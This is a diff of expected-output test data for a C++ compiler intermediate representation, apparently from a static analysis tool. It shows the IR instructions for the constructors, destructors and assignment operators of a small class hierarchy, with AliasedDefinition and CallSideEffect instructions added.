-#-----| r0_16(Derived &) = Load : r0_15, m0_4 -#-----| r0_17(glval) = FieldAddress[derived_s] : r0_16 -# 763| r0_18(String &) = Call : r0_14, this:r0_13, r0_17 -#-----| r0_19(glval) = VariableAddress[#return] : -#-----| r0_20(Derived *) = CopyValue : r0_2 -#-----| m0_21(Derived &) = Store : r0_19, r0_20 -# 763| r0_22(glval) = VariableAddress[#return] : -# 763| v0_23(void) = ReturnValue : r0_22, m0_21 -# 763| v0_24(void) = UnmodeledUse : mu* -# 763| v0_25(void) = ExitFunction : +# 763| mu0_1(unknown) = AliasedDefinition : +# 763| mu0_2(unknown) = UnmodeledDefinition : +# 763| r0_3(glval) = InitializeThis : +#-----| r0_4(glval) = VariableAddress[p#0] : +#-----| m0_5(Derived &) = InitializeParameter[p#0] : r0_4 +#-----| r0_6(Derived *) = CopyValue : r0_3 +#-----| r0_7(Middle *) = ConvertToBase[Derived : Middle] : r0_6 +# 763| r0_8(glval) = FunctionAddress[operator=] : +#-----| r0_9(glval) = VariableAddress[p#0] : +#-----| r0_10(Derived &) = Load : r0_9, m0_5 +#-----| r0_11(Middle *) = ConvertToBase[Derived : Middle] : r0_10 +# 763| r0_12(Middle &) = Call : r0_8, this:r0_7, r0_11 +# 763| mu0_13(unknown) = ^CallSideEffect : mu0_2 +#-----| r0_14(Derived *) = CopyValue : r0_3 +#-----| r0_15(glval) = FieldAddress[derived_s] : r0_14 +# 763| r0_16(glval) = FunctionAddress[operator=] : +#-----| r0_17(glval) = VariableAddress[p#0] : +#-----| r0_18(Derived &) = Load : r0_17, m0_5 +#-----| r0_19(glval) = FieldAddress[derived_s] : r0_18 +# 763| r0_20(String &) = Call : r0_16, this:r0_15, r0_19 +# 763| mu0_21(unknown) = ^CallSideEffect : mu0_2 +#-----| r0_22(glval) = VariableAddress[#return] : +#-----| r0_23(Derived *) = CopyValue : r0_3 +#-----| m0_24(Derived &) = Store : r0_22, r0_23 +# 763| r0_25(glval) = VariableAddress[#return] : +# 763| v0_26(void) = ReturnValue : r0_25, m0_24 +# 763| v0_27(void) = UnmodeledUse : mu* +# 763| v0_28(void) = ExitFunction : # 766| Derived::Derived() -> void # 766| Block 0 # 766| v0_0(void) = EnterFunction : -# 766| mu0_1(unknown) = UnmodeledDefinition : -# 766| r0_2(glval) = InitializeThis : -# 766| r0_3(glval) = ConvertToBase[Derived : Middle] : r0_2 -# 766| r0_4(glval) = FunctionAddress[Middle] : -# 766| v0_5(void) = Call : r0_4, this:r0_3 -# 766| r0_6(glval) = FieldAddress[derived_s] : r0_2 -# 766| r0_7(glval) = FunctionAddress[String] : -# 766| v0_8(void) = Call : r0_7, this:r0_6 -# 767| v0_9(void) = NoOp : -# 766| v0_10(void) = ReturnVoid : -# 766| v0_11(void) = UnmodeledUse : mu* -# 766| v0_12(void) = ExitFunction : +# 766| mu0_1(unknown) = AliasedDefinition : +# 766| mu0_2(unknown) = UnmodeledDefinition : +# 766| r0_3(glval) = InitializeThis : +# 766| r0_4(glval) = ConvertToBase[Derived : Middle] : r0_3 +# 766| r0_5(glval) = FunctionAddress[Middle] : +# 766| v0_6(void) = Call : r0_5, this:r0_4 +# 766| mu0_7(unknown) = ^CallSideEffect : mu0_2 +# 766| r0_8(glval) = FieldAddress[derived_s] : r0_3 +# 766| r0_9(glval) = FunctionAddress[String] : +# 766| v0_10(void) = Call : r0_9, this:r0_8 +# 766| mu0_11(unknown) = ^CallSideEffect : mu0_2 +# 767| v0_12(void) = NoOp : +# 766| v0_13(void) = ReturnVoid : +# 766| v0_14(void) = UnmodeledUse : mu* +# 766| v0_15(void) = ExitFunction : # 768| Derived::~Derived() -> void # 768| Block 0 -# 768| v0_0(void) = EnterFunction : -# 768| mu0_1(unknown) = UnmodeledDefinition : -# 768| r0_2(glval) = InitializeThis : -# 769| v0_3(void) = NoOp : -# 769| r0_4(glval) = FieldAddress[derived_s] : r0_2 -# 769| r0_5(glval) = FunctionAddress[~String] : -# 769| v0_6(void) = Call : r0_5, this:r0_4 -# 769| r0_7(glval) = ConvertToBase[Derived : Middle] : r0_2 -# 769| r0_8(glval) = FunctionAddress[~Middle] : -# 769| v0_9(void) = Call : r0_8, this:r0_7 -# 768| v0_10(void) = ReturnVoid : -# 768| v0_11(void) = UnmodeledUse : mu* -# 768| v0_12(void) = ExitFunction : +# 768| v0_0(void) = EnterFunction : +# 768| mu0_1(unknown) = AliasedDefinition : +# 768| mu0_2(unknown) = UnmodeledDefinition : +# 768| r0_3(glval) = InitializeThis : +# 769| v0_4(void) = NoOp : +# 769| r0_5(glval) = FieldAddress[derived_s] : r0_3 +# 769| r0_6(glval) = FunctionAddress[~String] : +# 769| v0_7(void) = Call : r0_6, this:r0_5 +# 769| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 769| r0_9(glval) = ConvertToBase[Derived : Middle] : r0_3 +# 769| r0_10(glval) = FunctionAddress[~Middle] : +# 769| v0_11(void) = Call : r0_10, this:r0_9 +# 769| mu0_12(unknown) = ^CallSideEffect : mu0_2 +# 768| v0_13(void) = ReturnVoid : +# 768| v0_14(void) = UnmodeledUse : mu* +# 768| v0_15(void) = ExitFunction : # 775| MiddleVB1::MiddleVB1() -> void # 775| Block 0 # 775| v0_0(void) = EnterFunction : -# 775| mu0_1(unknown) = UnmodeledDefinition : -# 775| r0_2(glval) = InitializeThis : -# 775| r0_3(glval) = ConvertToBase[MiddleVB1 : Base] : r0_2 -# 775| r0_4(glval) = FunctionAddress[Base] : -# 775| v0_5(void) = Call : r0_4, this:r0_3 -# 775| r0_6(glval) = FieldAddress[middlevb1_s] : r0_2 -# 775| r0_7(glval) = FunctionAddress[String] : -# 775| v0_8(void) = Call : r0_7, this:r0_6 -# 776| v0_9(void) = NoOp : -# 775| v0_10(void) = ReturnVoid : -# 775| v0_11(void) = UnmodeledUse : mu* -# 775| v0_12(void) = ExitFunction : +# 775| mu0_1(unknown) = AliasedDefinition : +# 775| mu0_2(unknown) = UnmodeledDefinition : +# 775| r0_3(glval) = InitializeThis : +# 775| r0_4(glval) = ConvertToBase[MiddleVB1 : Base] : r0_3 +# 775| r0_5(glval) = FunctionAddress[Base] : +# 775| v0_6(void) = Call : r0_5, this:r0_4 +# 775| mu0_7(unknown) = ^CallSideEffect : mu0_2 +# 775| r0_8(glval) = FieldAddress[middlevb1_s] : r0_3 +# 775| r0_9(glval) = FunctionAddress[String] : +# 775| v0_10(void) = Call : r0_9, this:r0_8 +# 775| mu0_11(unknown) = ^CallSideEffect : mu0_2 +# 776| v0_12(void) = NoOp : +# 775| v0_13(void) = ReturnVoid : +# 775| v0_14(void) = UnmodeledUse : mu* +# 775| v0_15(void) = ExitFunction : # 777| MiddleVB1::~MiddleVB1() -> void # 777| Block 0 # 777| v0_0(void) = EnterFunction : -# 777| mu0_1(unknown) = UnmodeledDefinition : -# 777| r0_2(glval) = InitializeThis : -# 778| v0_3(void) = NoOp : -# 778| r0_4(glval) = FieldAddress[middlevb1_s] : r0_2 -# 778| r0_5(glval) = FunctionAddress[~String] : -# 778| v0_6(void) = Call : r0_5, this:r0_4 -# 778| r0_7(glval) = ConvertToBase[MiddleVB1 : Base] : r0_2 -# 778| r0_8(glval) = FunctionAddress[~Base] : -# 778| v0_9(void) = Call : r0_8, this:r0_7 -# 777| v0_10(void) = ReturnVoid : -# 777| v0_11(void) = UnmodeledUse : mu* -# 777| v0_12(void) = ExitFunction : +# 777| mu0_1(unknown) = AliasedDefinition : +# 777| mu0_2(unknown) = UnmodeledDefinition : +# 777| r0_3(glval) = InitializeThis : +# 778| v0_4(void) = NoOp : +# 778| r0_5(glval) = FieldAddress[middlevb1_s] : r0_3 +# 778| r0_6(glval) = FunctionAddress[~String] : +# 778| v0_7(void) = Call : r0_6, this:r0_5 +# 778| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 778| r0_9(glval) = ConvertToBase[MiddleVB1 : Base] : r0_3 +# 778| r0_10(glval) = FunctionAddress[~Base] : +# 778| v0_11(void) = Call : r0_10, this:r0_9 +# 778| mu0_12(unknown) = ^CallSideEffect : mu0_2 +# 777| v0_13(void) = ReturnVoid : +# 777| v0_14(void) = UnmodeledUse : mu* +# 777| v0_15(void) = ExitFunction : # 784| MiddleVB2::MiddleVB2() -> void # 784| Block 0 # 784| v0_0(void) = EnterFunction : -# 784| mu0_1(unknown) = UnmodeledDefinition : -# 784| r0_2(glval) = InitializeThis : -# 784| r0_3(glval) = ConvertToBase[MiddleVB2 : Base] : r0_2 -# 784| r0_4(glval) = FunctionAddress[Base] : -# 784| v0_5(void) = Call : r0_4, this:r0_3 -# 784| r0_6(glval) = FieldAddress[middlevb2_s] : r0_2 -# 784| r0_7(glval) = FunctionAddress[String] : -# 784| v0_8(void) = Call : r0_7, this:r0_6 -# 785| v0_9(void) = NoOp : -# 784| v0_10(void) = ReturnVoid : -# 784| v0_11(void) = UnmodeledUse : mu* -# 784| v0_12(void) = ExitFunction : +# 784| mu0_1(unknown) = AliasedDefinition : +# 784| mu0_2(unknown) = UnmodeledDefinition : +# 784| r0_3(glval) = InitializeThis : +# 784| r0_4(glval) = ConvertToBase[MiddleVB2 : Base] : r0_3 +# 784| r0_5(glval) = FunctionAddress[Base] : +# 784| v0_6(void) = Call : r0_5, this:r0_4 +# 784| mu0_7(unknown) = ^CallSideEffect : mu0_2 +# 784| r0_8(glval) = FieldAddress[middlevb2_s] : r0_3 +# 784| r0_9(glval) = FunctionAddress[String] : +# 784| v0_10(void) = Call : r0_9, this:r0_8 +# 784| mu0_11(unknown) = ^CallSideEffect : mu0_2 +# 785| v0_12(void) = NoOp : +# 784| v0_13(void) = ReturnVoid : +# 784| v0_14(void) = UnmodeledUse : mu* +# 784| v0_15(void) = ExitFunction : # 786| MiddleVB2::~MiddleVB2() -> void # 786| Block 0 # 786| v0_0(void) = EnterFunction : -# 786| mu0_1(unknown) = UnmodeledDefinition : -# 786| r0_2(glval) = InitializeThis : -# 787| v0_3(void) = NoOp : -# 787| r0_4(glval) = FieldAddress[middlevb2_s] : r0_2 -# 787| r0_5(glval) = FunctionAddress[~String] : -# 787| v0_6(void) = Call : r0_5, this:r0_4 -# 787| r0_7(glval) = ConvertToBase[MiddleVB2 : Base] : r0_2 -# 787| r0_8(glval) = FunctionAddress[~Base] : -# 787| v0_9(void) = Call : r0_8, this:r0_7 -# 786| v0_10(void) = ReturnVoid : -# 786| v0_11(void) = UnmodeledUse : mu* -# 786| v0_12(void) = ExitFunction : +# 786| mu0_1(unknown) = AliasedDefinition : +# 786| mu0_2(unknown) = UnmodeledDefinition : +# 786| r0_3(glval) = InitializeThis : +# 787| v0_4(void) = NoOp : +# 787| r0_5(glval) = FieldAddress[middlevb2_s] : r0_3 +# 787| r0_6(glval) = FunctionAddress[~String] : +# 787| v0_7(void) = Call : r0_6, this:r0_5 +# 787| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 787| r0_9(glval) = ConvertToBase[MiddleVB2 : Base] : r0_3 +# 787| r0_10(glval) = FunctionAddress[~Base] : +# 787| v0_11(void) = Call : r0_10, this:r0_9 +# 787| mu0_12(unknown) = ^CallSideEffect : mu0_2 +# 786| v0_13(void) = ReturnVoid : +# 786| v0_14(void) = UnmodeledUse : mu* +# 786| v0_15(void) = ExitFunction : # 793| DerivedVB::DerivedVB() -> void # 793| Block 0 -# 793| v0_0(void) = EnterFunction : -# 793| mu0_1(unknown) = UnmodeledDefinition : -# 793| r0_2(glval) = InitializeThis : -# 793| r0_3(glval) = ConvertToBase[DerivedVB : Base] : r0_2 -# 793| r0_4(glval) = FunctionAddress[Base] : -# 793| v0_5(void) = Call : r0_4, this:r0_3 -# 793| r0_6(glval) = ConvertToBase[DerivedVB : MiddleVB1] : r0_2 -# 793| r0_7(glval) = FunctionAddress[MiddleVB1] : -# 793| v0_8(void) = Call : r0_7, this:r0_6 -# 793| r0_9(glval) = ConvertToBase[DerivedVB : MiddleVB2] : r0_2 -# 793| r0_10(glval) = FunctionAddress[MiddleVB2] : -# 793| v0_11(void) = Call : r0_10, this:r0_9 -# 793| r0_12(glval) = FieldAddress[derivedvb_s] : r0_2 -# 793| r0_13(glval) = FunctionAddress[String] : -# 793| v0_14(void) = Call : r0_13, this:r0_12 -# 794| v0_15(void) = NoOp : -# 793| v0_16(void) = ReturnVoid : -# 793| v0_17(void) = UnmodeledUse : mu* -# 793| v0_18(void) = ExitFunction : +# 793| v0_0(void) = EnterFunction : +# 793| mu0_1(unknown) = AliasedDefinition : +# 793| mu0_2(unknown) = UnmodeledDefinition : +# 793| r0_3(glval) = InitializeThis : +# 793| r0_4(glval) = ConvertToBase[DerivedVB : Base] : r0_3 +# 793| r0_5(glval) = FunctionAddress[Base] : +# 793| v0_6(void) = Call : r0_5, this:r0_4 +# 793| mu0_7(unknown) = ^CallSideEffect : mu0_2 +# 793| r0_8(glval) = ConvertToBase[DerivedVB : MiddleVB1] : r0_3 +# 793| r0_9(glval) = FunctionAddress[MiddleVB1] : +# 793| v0_10(void) = Call : r0_9, this:r0_8 +# 793| mu0_11(unknown) = ^CallSideEffect : mu0_2 +# 793| r0_12(glval) = ConvertToBase[DerivedVB : MiddleVB2] : r0_3 +# 793| r0_13(glval) = FunctionAddress[MiddleVB2] : +# 793| v0_14(void) = Call : r0_13, this:r0_12 +# 793| mu0_15(unknown) = ^CallSideEffect : mu0_2 +# 793| r0_16(glval) = FieldAddress[derivedvb_s] : r0_3 +# 793| r0_17(glval) = FunctionAddress[String] : +# 793| v0_18(void) = Call : r0_17, this:r0_16 +# 793| mu0_19(unknown) = ^CallSideEffect : mu0_2 +# 794| v0_20(void) = NoOp : +# 793| v0_21(void) = ReturnVoid : +# 793| v0_22(void) = UnmodeledUse : mu* +# 793| v0_23(void) = ExitFunction : # 795| DerivedVB::~DerivedVB() -> void # 795| Block 0 # 795| v0_0(void) = EnterFunction : -# 795| mu0_1(unknown) = UnmodeledDefinition : -# 795| r0_2(glval) = InitializeThis : -# 796| v0_3(void) = NoOp : -# 796| r0_4(glval) = FieldAddress[derivedvb_s] : r0_2 -# 796| r0_5(glval) = FunctionAddress[~String] : -# 796| v0_6(void) = Call : r0_5, this:r0_4 -# 796| r0_7(glval) = ConvertToBase[DerivedVB : MiddleVB2] : r0_2 -# 796| r0_8(glval) = FunctionAddress[~MiddleVB2] : -# 796| v0_9(void) = Call : r0_8, this:r0_7 -# 796| r0_10(glval) = ConvertToBase[DerivedVB : MiddleVB1] : r0_2 -# 796| r0_11(glval) = FunctionAddress[~MiddleVB1] : -# 796| v0_12(void) = Call : r0_11, this:r0_10 -# 796| r0_13(glval) = ConvertToBase[DerivedVB : Base] : r0_2 -# 796| r0_14(glval) = FunctionAddress[~Base] : +# 795| mu0_1(unknown) = AliasedDefinition : +# 795| mu0_2(unknown) = UnmodeledDefinition : +# 795| r0_3(glval) = InitializeThis : +# 796| v0_4(void) = NoOp : +# 796| r0_5(glval) = FieldAddress[derivedvb_s] : r0_3 +# 796| r0_6(glval) = FunctionAddress[~String] : +# 796| v0_7(void) = Call : r0_6, this:r0_5 +# 796| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 796| r0_9(glval) = ConvertToBase[DerivedVB : MiddleVB2] : r0_3 +# 796| r0_10(glval) = FunctionAddress[~MiddleVB2] : +# 796| v0_11(void) = Call : r0_10, this:r0_9 +# 796| mu0_12(unknown) = ^CallSideEffect : mu0_2 +# 796| r0_13(glval) = ConvertToBase[DerivedVB : MiddleVB1] : r0_3 +# 796| r0_14(glval) = FunctionAddress[~MiddleVB1] : # 796| v0_15(void) = Call : r0_14, this:r0_13 -# 795| v0_16(void) = ReturnVoid : -# 795| v0_17(void) = UnmodeledUse : mu* -# 795| v0_18(void) = ExitFunction : +# 796| mu0_16(unknown) = ^CallSideEffect : mu0_2 +# 796| r0_17(glval) = ConvertToBase[DerivedVB : Base] : r0_3 +# 796| r0_18(glval) = FunctionAddress[~Base] : +# 796| v0_19(void) = Call : r0_18, this:r0_17 +# 796| mu0_20(unknown) = ^CallSideEffect : mu0_2 +# 795| v0_21(void) = ReturnVoid : +# 795| v0_22(void) = UnmodeledUse : mu* +# 795| v0_23(void) = ExitFunction : # 799| HierarchyConversions() -> void # 799| Block 0 # 799| v0_0(void) = EnterFunction : -# 799| mu0_1(unknown) = UnmodeledDefinition : -# 800| r0_2(glval) = VariableAddress[b] : -# 800| r0_3(glval) = FunctionAddress[Base] : -# 800| v0_4(void) = Call : r0_3, this:r0_2 -# 801| r0_5(glval) = VariableAddress[m] : -# 801| r0_6(glval) = FunctionAddress[Middle] : -# 801| v0_7(void) = Call : r0_6, this:r0_5 -# 802| r0_8(glval) = VariableAddress[d] : -# 802| r0_9(glval) = FunctionAddress[Derived] : -# 802| v0_10(void) = Call : r0_9, this:r0_8 -# 804| r0_11(glval) = VariableAddress[pb] : -# 804| r0_12(glval) = VariableAddress[b] : -# 804| m0_13(Base *) = Store : r0_11, r0_12 -# 805| r0_14(glval) = VariableAddress[pm] : -# 805| r0_15(glval) = VariableAddress[m] : -# 805| m0_16(Middle *) = Store : r0_14, r0_15 -# 806| r0_17(glval) = VariableAddress[pd] : -# 806| r0_18(glval) = VariableAddress[d] : -# 806| m0_19(Derived *) = Store : r0_17, r0_18 -# 808| r0_20(glval) = VariableAddress[b] : -# 808| r0_21(glval) = FunctionAddress[operator=] : -# 808| r0_22(glval) = VariableAddress[m] : -# 808| r0_23(glval) = ConvertToBase[Middle : Base] : r0_22 -# 808| r0_24(Base &) = Call : r0_21, this:r0_20, r0_23 -# 809| r0_25(glval) = VariableAddress[b] : -# 809| r0_26(glval) = FunctionAddress[operator=] : -# 809| r0_27(glval) = FunctionAddress[Base] : -# 809| r0_28(glval) = VariableAddress[m] : -# 809| r0_29(glval) = ConvertToBase[Middle : Base] : r0_28 -# 809| v0_30(void) = Call : r0_27, r0_29 -# 809| r0_31(Base) = Convert : v0_30 -# 809| r0_32(Base &) = Call : r0_26, this:r0_25, r0_31 -# 810| r0_33(glval) = VariableAddress[b] : -# 810| r0_34(glval) = FunctionAddress[operator=] : -# 810| r0_35(glval) = FunctionAddress[Base] : -# 810| r0_36(glval) = VariableAddress[m] : -# 810| r0_37(glval) = ConvertToBase[Middle : Base] : r0_36 -# 810| v0_38(void) = Call : r0_35, r0_37 -# 810| r0_39(Base) = Convert : v0_38 -# 810| r0_40(Base &) = Call : r0_34, this:r0_33, r0_39 -# 811| r0_41(glval) = VariableAddress[pm] : -# 811| r0_42(Middle *) = Load : r0_41, m0_16 -# 811| r0_43(Base *) = ConvertToBase[Middle : Base] : r0_42 -# 811| r0_44(glval) = VariableAddress[pb] : -# 811| m0_45(Base *) = Store : r0_44, r0_43 -# 812| r0_46(glval) = VariableAddress[pm] : -# 812| r0_47(Middle *) = Load : r0_46, m0_16 -# 812| r0_48(Base *) = ConvertToBase[Middle : Base] : r0_47 -# 812| r0_49(glval) = VariableAddress[pb] : -# 812| m0_50(Base *) = Store : r0_49, r0_48 -# 813| r0_51(glval) = VariableAddress[pm] : -# 813| r0_52(Middle *) = Load : r0_51, m0_16 -# 813| r0_53(Base *) = ConvertToBase[Middle : Base] : r0_52 -# 813| r0_54(glval) = VariableAddress[pb] : -# 813| m0_55(Base *) = Store : r0_54, r0_53 -# 814| r0_56(glval) = VariableAddress[pm] : -# 814| r0_57(Middle *) = Load : r0_56, m0_16 -# 814| r0_58(Base *) = Convert : r0_57 -# 814| r0_59(glval) = VariableAddress[pb] : -# 814| m0_60(Base *) = Store : r0_59, r0_58 -# 816| r0_61(glval) = VariableAddress[m] : -# 816| r0_62(glval) = FunctionAddress[operator=] : -# 816| r0_63(glval) = VariableAddress[b] : -# 816| r0_64(glval) = ConvertToDerived[Middle : Base] : r0_63 -# 816| r0_65(glval) = Convert : r0_64 -# 816| r0_66(Middle &) = Call : r0_62, this:r0_61, r0_65 -# 817| r0_67(glval) = VariableAddress[m] : -# 817| r0_68(glval) = FunctionAddress[operator=] : -# 817| r0_69(glval) = VariableAddress[b] : -# 817| r0_70(glval) = ConvertToDerived[Middle : Base] : r0_69 -# 817| r0_71(glval) = Convert : r0_70 -# 817| r0_72(Middle &) = Call : r0_68, this:r0_67, r0_71 -# 818| r0_73(glval) = VariableAddress[pb] : -# 818| r0_74(Base *) = Load : r0_73, m0_60 -# 818| r0_75(Middle *) = ConvertToDerived[Middle : Base] : r0_74 -# 818| r0_76(glval) = VariableAddress[pm] : -# 818| m0_77(Middle *) = Store : r0_76, r0_75 -# 819| r0_78(glval) = VariableAddress[pb] : -# 819| r0_79(Base *) = Load : r0_78, m0_60 -# 819| r0_80(Middle *) = ConvertToDerived[Middle : Base] : r0_79 -# 819| r0_81(glval) = VariableAddress[pm] : -# 819| m0_82(Middle *) = Store : r0_81, r0_80 -# 820| r0_83(glval) = VariableAddress[pb] : -# 820| r0_84(Base *) = Load : r0_83, m0_60 -# 820| r0_85(Middle *) = Convert : r0_84 -# 820| r0_86(glval) = VariableAddress[pm] : -# 820| m0_87(Middle *) = Store : r0_86, r0_85 -# 822| r0_88(glval) = VariableAddress[b] : -# 822| r0_89(glval) = FunctionAddress[operator=] : -# 822| r0_90(glval) = VariableAddress[d] : -# 822| r0_91(glval) = ConvertToBase[Derived : Middle] : r0_90 -# 822| r0_92(glval) = ConvertToBase[Middle : Base] : r0_91 -# 822| r0_93(Base &) = Call : r0_89, this:r0_88, r0_92 -# 823| r0_94(glval) = VariableAddress[b] : -# 823| r0_95(glval) = FunctionAddress[operator=] : -# 823| r0_96(glval) = FunctionAddress[Base] : -# 823| r0_97(glval) = VariableAddress[d] : -# 823| r0_98(glval) = ConvertToBase[Derived : Middle] : r0_97 -# 823| r0_99(glval) = ConvertToBase[Middle : Base] : r0_98 -# 823| v0_100(void) = Call : r0_96, r0_99 -# 823| r0_101(Base) = Convert : v0_100 -# 823| r0_102(Base &) = Call : r0_95, this:r0_94, r0_101 -# 824| r0_103(glval) = VariableAddress[b] : -# 824| r0_104(glval) = FunctionAddress[operator=] : -# 824| r0_105(glval) = FunctionAddress[Base] : -# 824| r0_106(glval) = VariableAddress[d] : -# 824| r0_107(glval) = ConvertToBase[Derived : Middle] : r0_106 -# 824| r0_108(glval) = ConvertToBase[Middle : Base] : r0_107 -# 824| v0_109(void) = Call : r0_105, r0_108 -# 824| r0_110(Base) = Convert : v0_109 -# 824| r0_111(Base &) = Call : r0_104, this:r0_103, r0_110 -# 825| r0_112(glval) = VariableAddress[pd] : -# 825| r0_113(Derived *) = Load : r0_112, m0_19 -# 825| r0_114(Middle *) = ConvertToBase[Derived : Middle] : r0_113 -# 825| r0_115(Base *) = ConvertToBase[Middle : Base] : r0_114 -# 825| r0_116(glval) = VariableAddress[pb] : -# 825| m0_117(Base *) = Store : r0_116, r0_115 -# 826| r0_118(glval) = VariableAddress[pd] : -# 826| r0_119(Derived *) = Load : r0_118, m0_19 -# 826| r0_120(Middle *) = ConvertToBase[Derived : Middle] : r0_119 -# 826| r0_121(Base *) = ConvertToBase[Middle : Base] : r0_120 -# 826| r0_122(glval) = VariableAddress[pb] : -# 826| m0_123(Base *) = Store : r0_122, r0_121 -# 827| r0_124(glval) = VariableAddress[pd] : -# 827| r0_125(Derived *) = Load : r0_124, m0_19 -# 827| r0_126(Middle *) = ConvertToBase[Derived : Middle] : r0_125 -# 827| r0_127(Base *) = ConvertToBase[Middle : Base] : r0_126 -# 827| r0_128(glval) = VariableAddress[pb] : -# 827| m0_129(Base *) = Store : r0_128, r0_127 -# 828| r0_130(glval) = VariableAddress[pd] : -# 828| r0_131(Derived *) = Load : r0_130, m0_19 -# 828| r0_132(Base *) = Convert : r0_131 -# 828| r0_133(glval) = VariableAddress[pb] : -# 828| m0_134(Base *) = Store : r0_133, r0_132 -# 830| r0_135(glval) = VariableAddress[d] : -# 830| r0_136(glval) = FunctionAddress[operator=] : -# 830| r0_137(glval) = VariableAddress[b] : -# 830| r0_138(glval) = ConvertToDerived[Middle : Base] : r0_137 -# 830| r0_139(glval) = ConvertToDerived[Derived : Middle] : r0_138 -# 830| r0_140(glval) = Convert : r0_139 -# 830| r0_141(Derived &) = Call : r0_136, this:r0_135, r0_140 -# 831| r0_142(glval) = VariableAddress[d] : -# 831| r0_143(glval) = FunctionAddress[operator=] : -# 831| r0_144(glval) = VariableAddress[b] : -# 831| r0_145(glval) = ConvertToDerived[Middle : Base] : r0_144 -# 831| r0_146(glval) = ConvertToDerived[Derived : Middle] : r0_145 -# 831| r0_147(glval) = Convert : r0_146 -# 831| r0_148(Derived &) = Call : r0_143, this:r0_142, r0_147 -# 832| r0_149(glval) = VariableAddress[pb] : -# 832| r0_150(Base *) = Load : r0_149, m0_134 -# 832| r0_151(Middle *) = ConvertToDerived[Middle : Base] : r0_150 -# 832| r0_152(Derived *) = ConvertToDerived[Derived : Middle] : r0_151 -# 832| r0_153(glval) = VariableAddress[pd] : -# 832| m0_154(Derived *) = Store : r0_153, r0_152 -# 833| r0_155(glval) = VariableAddress[pb] : -# 833| r0_156(Base *) = Load : r0_155, m0_134 -# 833| r0_157(Middle *) = ConvertToDerived[Middle : Base] : r0_156 -# 833| r0_158(Derived *) = ConvertToDerived[Derived : Middle] : r0_157 -# 833| r0_159(glval) = VariableAddress[pd] : -# 833| m0_160(Derived *) = Store : r0_159, r0_158 -# 834| r0_161(glval) = VariableAddress[pb] : -# 834| r0_162(Base *) = Load : r0_161, m0_134 -# 834| r0_163(Derived *) = Convert : r0_162 -# 834| r0_164(glval) = VariableAddress[pd] : -# 834| m0_165(Derived *) = Store : r0_164, r0_163 -# 836| r0_166(glval) = VariableAddress[pmv] : -# 836| r0_167(MiddleVB1 *) = Constant[0] : -# 836| m0_168(MiddleVB1 *) = Store : r0_166, r0_167 -# 837| r0_169(glval) = VariableAddress[pdv] : -# 837| r0_170(DerivedVB *) = Constant[0] : -# 837| m0_171(DerivedVB *) = Store : r0_169, r0_170 -# 838| r0_172(glval) = VariableAddress[pmv] : -# 838| r0_173(MiddleVB1 *) = Load : r0_172, m0_168 -# 838| r0_174(Base *) = ConvertToVirtualBase[MiddleVB1 : Base] : r0_173 -# 838| r0_175(glval) = VariableAddress[pb] : -# 838| m0_176(Base *) = Store : r0_175, r0_174 -# 839| r0_177(glval) = VariableAddress[pdv] : -# 839| r0_178(DerivedVB *) = Load : r0_177, m0_171 -# 839| r0_179(Base *) = ConvertToVirtualBase[DerivedVB : Base] : r0_178 -# 839| r0_180(glval) = VariableAddress[pb] : -# 839| m0_181(Base *) = Store : r0_180, r0_179 -# 840| v0_182(void) = NoOp : -# 799| v0_183(void) = ReturnVoid : -# 799| v0_184(void) = UnmodeledUse : mu* -# 799| v0_185(void) = ExitFunction : +# 799| mu0_1(unknown) = AliasedDefinition : +# 799| mu0_2(unknown) = UnmodeledDefinition : +# 800| r0_3(glval) = VariableAddress[b] : +# 800| r0_4(glval) = FunctionAddress[Base] : +# 800| v0_5(void) = Call : r0_4, this:r0_3 +# 800| mu0_6(unknown) = ^CallSideEffect : mu0_2 +# 801| r0_7(glval) = VariableAddress[m] : +# 801| r0_8(glval) = FunctionAddress[Middle] : +# 801| v0_9(void) = Call : r0_8, this:r0_7 +# 801| mu0_10(unknown) = ^CallSideEffect : mu0_2 +# 802| r0_11(glval) = VariableAddress[d] : +# 802| r0_12(glval) = FunctionAddress[Derived] : +# 802| v0_13(void) = Call : r0_12, this:r0_11 +# 802| mu0_14(unknown) = ^CallSideEffect : mu0_2 +# 804| r0_15(glval) = VariableAddress[pb] : +# 804| r0_16(glval) = VariableAddress[b] : +# 804| m0_17(Base *) = Store : r0_15, r0_16 +# 805| r0_18(glval) = VariableAddress[pm] : +# 805| r0_19(glval) = VariableAddress[m] : +# 805| m0_20(Middle *) = Store : r0_18, r0_19 +# 806| r0_21(glval) = VariableAddress[pd] : +# 806| r0_22(glval) = VariableAddress[d] : +# 806| m0_23(Derived *) = Store : r0_21, r0_22 +# 808| r0_24(glval) = VariableAddress[b] : +# 808| r0_25(glval) = FunctionAddress[operator=] : +# 808| r0_26(glval) = VariableAddress[m] : +# 808| r0_27(glval) = ConvertToBase[Middle : Base] : r0_26 +# 808| r0_28(Base &) = Call : r0_25, this:r0_24, r0_27 +# 808| mu0_29(unknown) = ^CallSideEffect : mu0_2 +# 809| r0_30(glval) = VariableAddress[b] : +# 809| r0_31(glval) = FunctionAddress[operator=] : +# 809| r0_32(glval) = FunctionAddress[Base] : +# 809| r0_33(glval) = VariableAddress[m] : +# 809| r0_34(glval) = ConvertToBase[Middle : Base] : r0_33 +# 809| v0_35(void) = Call : r0_32, r0_34 +# 809| mu0_36(unknown) = ^CallSideEffect : mu0_2 +# 809| r0_37(Base) = Convert : v0_35 +# 809| r0_38(Base &) = Call : r0_31, this:r0_30, r0_37 +# 809| mu0_39(unknown) = ^CallSideEffect : mu0_2 +# 810| r0_40(glval) = VariableAddress[b] : +# 810| r0_41(glval) = FunctionAddress[operator=] : +# 810| r0_42(glval) = FunctionAddress[Base] : +# 810| r0_43(glval) = VariableAddress[m] : +# 810| r0_44(glval) = ConvertToBase[Middle : Base] : r0_43 +# 810| v0_45(void) = Call : r0_42, r0_44 +# 810| mu0_46(unknown) = ^CallSideEffect : mu0_2 +# 810| r0_47(Base) = Convert : v0_45 +# 810| r0_48(Base &) = Call : r0_41, this:r0_40, r0_47 +# 810| mu0_49(unknown) = ^CallSideEffect : mu0_2 +# 811| r0_50(glval) = VariableAddress[pm] : +# 811| r0_51(Middle *) = Load : r0_50, m0_20 +# 811| r0_52(Base *) = ConvertToBase[Middle : Base] : r0_51 +# 811| r0_53(glval) = VariableAddress[pb] : +# 811| m0_54(Base *) = Store : r0_53, r0_52 +# 812| r0_55(glval) = VariableAddress[pm] : +# 812| r0_56(Middle *) = Load 